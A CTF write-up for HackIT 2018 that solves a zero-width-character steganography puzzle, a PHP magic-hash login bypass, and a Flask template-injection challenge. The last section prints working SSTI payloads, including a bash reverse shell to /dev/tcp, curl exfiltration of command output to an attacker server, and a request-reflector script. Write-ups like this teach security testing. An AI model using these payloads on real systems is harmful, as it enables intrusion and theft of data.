Information#
CTF#
- Name : HackIT CTF 2018
- Website : ctf.hackit.ua
- Type : Online
- Format : Jeopardy
- CTF Time : link
1 - Get Going - Misc#
There is a message:
Welcome to the HackIT 2018 CTF, flag is somewhere here. ¯_(ツ)_/¯
And only that.
Then two hints where added:
Get Going hint: Do you see only Ascii on that w3lcome(put the correct word of that page) page. Really? Get Going hint2: Zero Width Concept.
As we can see here there is a lot of invisible characters:
$ xxd welcome
00000000: 57e2 808b e280 8be2 808b e280 8be2 808f W...............
00000010: e280 8be2 808d e280 8be2 808b e280 8be2 ................
00000020: 808b e280 8fe2 808c e280 8ee2 808b e280 ................
00000030: 8be2 808b e280 8be2 808e e280 8fe2 808d ................
00000040: e280 8be2 808b e280 8be2 808b e280 8fe2 ................
00000050: 808b e280 8ee2 808b e280 8be2 808b e280 ................
00000060: 8be2 808f e280 8fe2 808e e280 8be2 808b ................
00000070: e280 8be2 808b e280 8fe2 808e e280 8fe2 ................
00000080: 808b e280 8be2 808b e280 8be2 808d e280 ................
00000090: 8be2 808c e280 8be2 808b e280 8be2 808b ................
000000a0: e280 8ee2 808f e280 8be2 808b e280 8be2 ................
000000b0: 808b e280 8be2 808f e280 8be2 808e e280 ................
000000c0: 8be2 808b e280 8be2 808b e280 8fe2 808d ................
000000d0: e280 8fe2 808b e280 8be2 808b e280 8be2 ................
000000e0: 808d e280 8be2 808c e280 8be2 808b e280 ................
000000f0: 8be2 808b e280 8de2 808b e280 8ce2 808b ................
00000100: e280 8be2 808b e280 8be2 808d e280 8ce2 ................
00000110: 808b e280 8be2 808b e280 8be2 808b e280 ................
00000120: 8ee2 808f e280 8be2 808b e280 8be2 808b ................
00000130: e280 8be2 808f e280 8be2 808f e280 8be2 ................
00000140: 808b e280 8be2 808b e280 8de2 808b e280 ................
00000150: 8de2 808b e280 8be2 808b e280 8be2 808e ................
00000160: e280 8fe2 808f e280 8be2 808b e280 8be2 ................
00000170: 808b e280 8fe2 808c e280 8de2 808b e280 ................
00000180: 8be2 808b e280 8be2 808d e280 8be2 808c ................
00000190: e280 8be2 808b e280 8be2 808b e280 8fe2 ................
000001a0: 808d e280 8fe2 808b e280 8be2 808b e280 ................
000001b0: 8be2 808f e280 8fe2 808d e280 8be2 808b ................
000001c0: e280 8be2 808b e280 8ee2 808f e280 8be2 ................
000001d0: 808b e280 8be2 808b e280 8be2 808f e280 ................
000001e0: 8ee2 808f e280 8be2 808b e280 8be2 808b ................
000001f0: e280 8ce2 808f e280 8fe2 808b e280 8be2 ................
00000200: 808b e280 8be2 808f e280 8ee2 808c e280 ................
00000210: 8be2 808b e280 8be2 808b e280 8fe2 808b ................
00000220: e280 8fe2 808b e280 8be2 808b e280 8be2 ................
00000230: 808e e280 8fe2 808b e280 8be2 808b e280 ................
00000240: 8be2 808b e280 8fe2 808e e280 8de2 808b ................
00000250: e280 8be2 808b e280 8be2 808f e280 8de2 ................
00000260: 808b e280 8be2 808b e280 8be2 808b e280 ................
00000270: 8ce2 808f e280 8fe2 808b e280 8be2 808b ................
00000280: e280 8be2 808e e280 8fe2 808f e280 8be2 ................
00000290: 808b e280 8be2 808b e280 8ce2 808f e280 ................
000002a0: 8ee2 808b e280 8be2 808b e280 8be2 808f ................
000002b0: e280 8be2 808b e280 8be2 808b e280 8be2 ................
000002c0: 808b e280 8de2 808b e280 8ce2 808b e280 ................
000002d0: 8be2 808b e280 8ce2 808b e280 8be2 808b ................
000002e0: 656c 636f 6d65 2074 6f20 7468 6520 4861 elcome to the Ha
000002f0: 636b 4954 2032 3031 3820 4354 462c 2066 ckIT 2018 CTF, f
00000300: 6c61 6720 6973 2073 6f6d 6577 6865 7265 lag is somewhere
00000310: 2068 6572 652e 20c2 af5f 28e3 8384 295f here. .._(...)_
00000320: 2fc2 af20 0a /.. .
Then I read this article: Be careful what you copy: Invisibly inserting usernames into text with Zero-Width Characters, I invite you to read it.
This technique was used to fingerprint journalists when copy/pasting.
Finally I installed zwsp-steg and write this very short script in javascript:
const ZwspSteg = require('zwsp-steg');
let decoded = ZwspSteg.decode('Welcome to the HackIT 2018 CTF, flag is somewhere here. ¯_(ツ)_/¯ ');
console.log(decoded); // hidden message
Then I grabbed the flag:
$ node decode.js
flag{w3_gr337_h4ck3rz_w1th_un1c0d3}
BabyPeeHPee - Web#
Prove you are not a baby: http://185.168.130.148/
So we have the source code of the app and auth.so
, a dynamic library used for authentication.
<?php
include 'flag.php';
$username = substr($_GET['u'],0,25);
$password = substr($_GET['p'],0,45);
echo "Hello <b>Baby:</b><br>You may need <a href=\"/?source\">this</a> and/or <a href=\"/auth.so\">this</a><br>";
if (isset($_GET['source'])){
show_source(__FILE__);
}
$digest = @auth($username,$password);
if (md5($username) == md5($digest) and $digest !== $username){
echo "you are a good boy here is your flag : <b>$flag</b>";
}
else {
echo "you are not a good boy so no flag for you :(";
}
This piece of code (md5($username) == md5($digest) and $digest !== $username)
looks like we will have to do a classic PHP type juggling
.
If you are not used to read my write-ups, I invite you to read PHP Magic Tricks: Type Juggling by Chris Smith and Magic Hashes by Robert Hansen.
But currently we don't know what is the digest $digest = @auth($username,$password);
, that's why we need to reverse auth.so
.
Once someone of my team told me that in auth.so
digest was outputting a hardcoded string and it was possible to overflow it at a fixed length, I began to work on that.
From PayloadsAllTheThings we already know that md5('240610708') == md5('QNKCDZO')
in PHP.
So we need to overflow $digest
with a value we control in $password
, so we will have md5('magic_hash_1') == md5('overflow' + 'magic_hash_2')
but md5('magic_hash_1') !== md5('magic_hash_2')
.
The only thing left is to know the buffer length that we will need to overflow. We have multiple choices:
- continue to reverse
auth.so
(long and boring) - inject
auth.so
in a local copy of the website and find by ourselves - bruteforce until we have it (quick and fun)
We already know that password can't be larger than 46 chars $password = substr($_GET['p'],0,45);
, so the overflow must be smaller or equal. Basically this will take less than 46 requests to the remote server to find out.
So we can bruteforce password by adding A
one by one like this:
http://185.168.130.148/?u=240610708&p=A240610708
http://185.168.130.148/?u=240610708&p=AA240610708
http://185.168.130.148/?u=240610708&p=AAA240610708
Or we can be smarter and imagine the buffer will probably be a power of 2 and test only those.
The answer was http://185.168.130.148/?u=240610708&p=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA240610708
.
irb(main):001:0> 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.size
=> 32
There are 32 = 2^5
A
to overflow the hardcoded digest.
The flag was flag{here_is_a_warmup_chal_for_u_baby_}
.
Believer Case - Web#
We managed to hack one of the systems, and its owner contacted us back. He asked us to check his fix. We did not find anything. Can you?
The website is welcoming us with a message:
Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? See this
http://185.168.131.123/test
is displaying test
so we are maybe dealing with a template injection.
Let's try to fuzz:
http://185.168.131.123/%7B%7B%7D%7D
=>Internal Server Error
: sounds goodhttp://185.168.131.123/%7B%7B7*6%7D%7D
=>42
: SSTI confirmedhttp://185.168.131.123/%7B%7Bconfig%7D%7D
=>Internal Server Error
:config
must be blacklistedhttp://185.168.131.123/%7B%7Bg%7D%7D
=><flask.g of 'app'>
nice we have a Flask web app
So from Shrine web challenge we did not so long ago during Tokyo Western CTF, I take back our previous payload and modified it a little: http://185.168.131.123/%7B%7Burl_for.__globals__.current_app.__dict__%7D%7D
.
We are used to url_for
, let's use get_flashed_messages
to change :D
http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.current_app.__dict__%7D%7D
is dumping all global variables from the Flask app context:
{
'subdomain_matching': False,
'error_handler_spec': {
None: {}
},
'_before_request_lock': < thread.lock object at 0x7fde0c62b730 > ,
'jinja_env': < flask.templating.Environment object at 0x7fde0c38fe90 > ,
'before_request_funcs': {},
'teardown_appcontext_funcs': [],
'shell_context_processors': [],
'after_request_funcs': {},
'cli': < flask.cli.AppGroup object at 0x7fde0c38f990 > ,
'_blueprint_order': [],
'before_first_request_funcs': [],
'view_functions': {
'blacklist_template': < function blacklist_template at 0x7fde0c38bb18 > ,
'index_template': < function index_template at 0x7fde0c38baa0 > ,
'static': < bound method Flask.send_static_file of < Flask 'app' >>
},
'instance_path': '/opt/app/instance',
'teardown_request_funcs': {},
'logger': < logging.Logger object at 0x7fde0c341b50 > ,
'url_value_preprocessors': {},
'config': < Config {
'JSON_AS_ASCII': True,
'USE_X_SENDFILE': False,
'SESSION_COOKIE_SECURE': False,
'SESSION_COOKIE_PATH': None,
'SESSION_COOKIE_DOMAIN': None,
'SESSION_COOKIE_NAME': 'session',
'MAX_COOKIE_SIZE': 4093,
'SESSION_COOKIE_SAMESITE': None,
'PROPAGATE_EXCEPTIONS': None,
'ENV': 'production',
'DEBUG': False,
'SECRET_KEY': None,
'EXPLAIN_TEMPLATE_LOADING': False,
'MAX_CONTENT_LENGTH': None,
'APPLICATION_ROOT': '/',
'SERVER_NAME': None,
'PREFERRED_URL_SCHEME': 'http',
'JSONIFY_PRETTYPRINT_REGULAR': False,
'TESTING': False,
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31),
'TEMPLATES_AUTO_RELOAD': None,
'TRAP_BAD_REQUEST_ERRORS': None,
'JSON_SORT_KEYS': True,
'JSONIFY_MIMETYPE': 'application/json',
'SESSION_COOKIE_HTTPONLY': True,
'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200),
'PRESERVE_CONTEXT_ON_EXCEPTION': None,
'SESSION_REFRESH_EACH_REQUEST': True,
'TRAP_HTTP_EXCEPTIONS': False
} > ,
'_static_url_path': None,
'jinja_loader': < jinja2.loaders.FileSystemLoader object at 0x7fde0c297410 > ,
'template_context_processors': {
None: [ < function _default_template_ctx_processor at 0x7fde0c374ed8 > ]
},
'template_folder': 'templates',
'blueprints': {},
'url_map': Map([ < Rule '/' (HEAD, OPTIONS, GET) - > index_template > , < Rule '/static/<filename>' (HEAD, OPTIONS, GET) - > static > , < Rule '/<template>' (HEAD, OPTIONS, GET) - > blacklist_template > ]),
'name': 'app',
'_got_first_request': True,
'import_name': 'app',
'root_path': '/opt/app',
'_static_folder': 'static',
'extensions': {},
'url_default_functions': {},
'url_build_error_handlers': []
}
http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.current_app.config%7D%7D
=> Internal Server Error
, this should work, it actually works for any other variables, config
must be blacklisted.
I can access object
, eval
, file
, socket
and os
from http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__%7D%7D
So we can read the source of the challenge for example with http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.__builtins__.file('/opt/app/app.py').read()%7D%7D
.
from flask
import Flask, render_template, render_template_string app = Flask(__name__) def blacklist_replace(template): blacklist = ["[", "]", "config", "self", "from_pyfile", "|", "join", "mro", "class", "request", "pop", "attr", "args", "+"]
for b in blacklist: if b in template: template = template.replace(b, "") return template @app.route("/") def index_template(): return "Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href='/test'>See this</a>"
@app.route("/<path:template>") def blacklist_template(template): if len(template) > 10000: return "This is too long"
while blacklist_replace(template) != template: template = blacklist_replace(template) return render_template_string(template) if __name__ == '__main__': app.run(debug = False)
The source is not so useful but allow us to see what is blacklisted. Now let's os
, we have access to it!
With http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('bash -i >& /dev/tcp/x.x.x.x/9999 0>&1')%7D%7D
we tried to lunch a reverse shell but as the challenge app should be in a docker container, only the web port must be exposed.
So instead of using raw TCP connection k3y has the idea to make a HTTP connection like this http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('curl mydomain:8080')%7D%7D
.
I used a python HTTP reflector script on my server but it is possible to use some service like requestbin.
#!/usr/bin/env python
# Reflects the requests from HTTP methods GET, POST, PUT, and DELETE
# Written by Nathan Hamiel (2010)
from http.server import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
request_path = self.path
print("\n----- Request Start ----->\n")
print("Request path:", request_path)
print("Request headers:", self.headers)
print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
def do_POST(self):
request_path = self.path
print("\n----- Request Start ----->\n")
print("Request path:", request_path)
request_headers = self.headers
content_length = request_headers.get('Content-Length')
length = int(content_length) if content_length else 0
print("Content Length:", length)
print("Request headers:", request_headers)
print("Request payload:", self.rfile.read(length))
print("<----- Request End -----\n")
self.send_response(200)
self.end_headers()
do_PUT = do_POST
do_DELETE = do_GET
def main():
port = 8080
print('Listening on localhost:%s' % port)
server = HTTPServer(('', port), RequestHandler)
server.serve_forever()
if __name__ == "__main__":
parser = OptionParser()
parser.usage = ("Creates an http-server that will echo out any GET or POST parameters\n"
"Run:\n\n"
" reflect")
(options, args) = parser.parse_args()
main()
Now let's mess with the RCE:
http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('curl http://mydomain:8080/$(id)')%7D%7D
=>185.168.131.123 - - [09/Sep/2018 20:01:55] "GET /uid=65534(nobody) HTTP/1.1" 200 -
http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('curl http://mydomain:8080/$(ls flag*)')%7D%7D
=>185.168.131.123 - - [09/Sep/2018 20:09:14] "GET /flag_secret_file_910230912900891283 HTTP/1.1" 200 -
http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('curl http://mydomain:8080/$(cat flag_secret_file_910230912900891283)')%7D%7D
=>185.168.131.123 - - [09/Sep/2018 20:10:25] "GET /flagblacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813 HTTP/1.1" 200 -
k3y
used %7B%7B get_flashed_messages.__globals__.os.listdir('.')%7D%7D
to list the files instead of shell globbing like me.